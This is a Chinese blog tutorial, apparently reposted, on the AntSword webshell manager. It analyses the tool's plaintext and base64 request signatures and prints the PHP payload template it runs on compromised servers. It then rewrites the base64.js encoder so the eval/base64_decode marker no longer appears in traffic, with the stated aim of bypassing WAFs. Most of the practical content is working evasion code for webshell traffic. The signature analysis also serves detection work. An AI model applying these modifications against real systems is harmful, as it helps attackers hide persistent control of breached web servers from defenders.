蚁剑从入门到魔改【一】
蟻劍從入門到魔改【一】
- 一、明文通信
- 二、密文通信
- 三、自定義編解碼
- source/core/php/index.js
- source/core/php/base64.js
- 自定義加密算法
- 四、參考文章
連接地址
選用網(wǎng)卡
一、明文通信
特征
=%40ini_set set_time_limit分析過程
以 HTTP 流的形式 打開數(shù)據(jù)包
在虛擬終端執(zhí)行命令
如上圖:返回包首部和尾部有填充字符,分別是 117dd7689896 和 d3f7440 。對應(yīng)了請求包中的 echo 的輸出內(nèi)容
二、密文通信
特征
base64_decode分析過程
在蟻劍php的選項下,請求包默認(rèn)支持base64、chr、chr16、rot13四種編碼方式,響應(yīng)包支持base64、rot13編碼,還支持在幾種編碼方式下隨機(jī)選擇。
這里我們選擇 請求和響應(yīng)的方式 都是base64加密
注意:這里可不是單純的 Base64加密,可以看到。加密后的數(shù)據(jù)做了混淆,有 %
三、自定義編解碼
首先我們應(yīng)該知道,在蟻劍的 source/core/php 目錄下有對應(yīng)的編碼,我們只需要在這里進(jìn)行修改即可,然后流量特征就會發(fā)生變化,可以通過簡單的操作,隱藏某些特征,就可以很有效的繞過waf
source/core/php/index.js
打開source/core/php 下的 index.js 之后 會看到下面的內(nèi)容。在 encoders 中寫什么,對應(yīng)的蟻劍的界面上就會出現(xiàn)什么內(nèi)容
同理,下面代碼還有 關(guān)于分割符號設(shè)置的
接下來,看最重要的 能夠通過修改 繞過 WAF 的代碼
index.js 最后的 data[’_’] 就是shell代碼執(zhí)行的主體架構(gòu)
蟻劍會將參數(shù)傳遞到對應(yīng)的位置拼接成為完整代碼
最終服務(wù)器執(zhí)行的就是這里的代碼
data['_'] = `@ini_set("display_errors", "0"); @set_time_limit(0); ${asencCode}; function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";echo @asenc($output);echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();`;觀察第2,3行,和數(shù)據(jù)包中的responseBody的第一行很相似
因此我們可以推理出,這就是默認(rèn)情況下(明文通信),蟻劍數(shù)據(jù)包的流量特征
上面介紹了明文通信,如果想要進(jìn)行密文通信,例如 base64 加密通信,那么就要分析 source/core/php/base64.js
source/core/php/base64.js
下面是 base64.js 的文件內(nèi)容
/*** php::base64編碼器* ? 利用php的base64_decode進(jìn)行編碼處理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一個隨機(jī)變量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}data[randomID] = Buffer.from(data['_']).toString('base64');data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;delete data['_'];return data; }shell 所有傳遞的參數(shù)都在data列表中,需要執(zhí)行的代碼在 data['_'] 中,data[randomID] = Buffer.from(data['_']).toString('base64'); 的表達(dá)的意思就是 將 data['_'] 中的代碼讀取并進(jìn)行 base64 編碼
data[pwd] 以參數(shù)的形式將內(nèi)容傳遞到 服務(wù)器,將 data['_'] 的內(nèi)容在服務(wù)器端 解碼并執(zhí)行,雖然 data['_'] 是被編碼了,但是 data[pwd] 作為參數(shù)傳遞仍然是以明文傳輸
因此我們要想方設(shè)法 不發(fā)送明文內(nèi)容,也就是不發(fā)送 data[pwd] 中的內(nèi)容
如果上述代碼不做修改,數(shù)據(jù)包中會看到以下特征(responseBody的第一行),對應(yīng) base64.js 的下面這行代碼
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;下面對 bash64.js 文件做修改
注意只能寫成 data[pwd],不能寫成 data[randomID],不然的或連接的時候就會發(fā)出警告 返回數(shù)據(jù)為空
/*** php::base64編碼器* ? 利用php的base64_decode進(jìn)行編碼處理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一個隨機(jī)變量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}//data[randomID] = Buffer.from(data['_']).toString('base64');data[pwd] = Buffer.from(data['_']).toString('base64');delete data['_'];return data; }自定義加密算法
點(diǎn)擊蟻劍的編碼設(shè)置,可以創(chuàng)建編碼器或解碼器,以繞過更嚴(yán)格的 WAF 查殺。同時官方也在 github上提供了很多優(yōu)秀的項目
四、參考文章
蟻劍原理與魔改:https://www.cnblogs.com/Lmg66/p/14016869.html
蟻劍改造過WAF(強(qiáng)烈推薦):https://xz.aliyun.com/u/31536
蟻劍流量特征與編碼器入門:http://www.feidao.site/wordpress/?p=4495#toc-head-6
從0到1掌握AWD攻防之RSA必殺:https://xz.aliyun.com/t/4640
總結(jié)
以上是生活随笔為你收集整理的蚁剑从入门到魔改【一】的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 甘特图(Gantt Chart)画法1.
- 下一篇: 追书神器API接口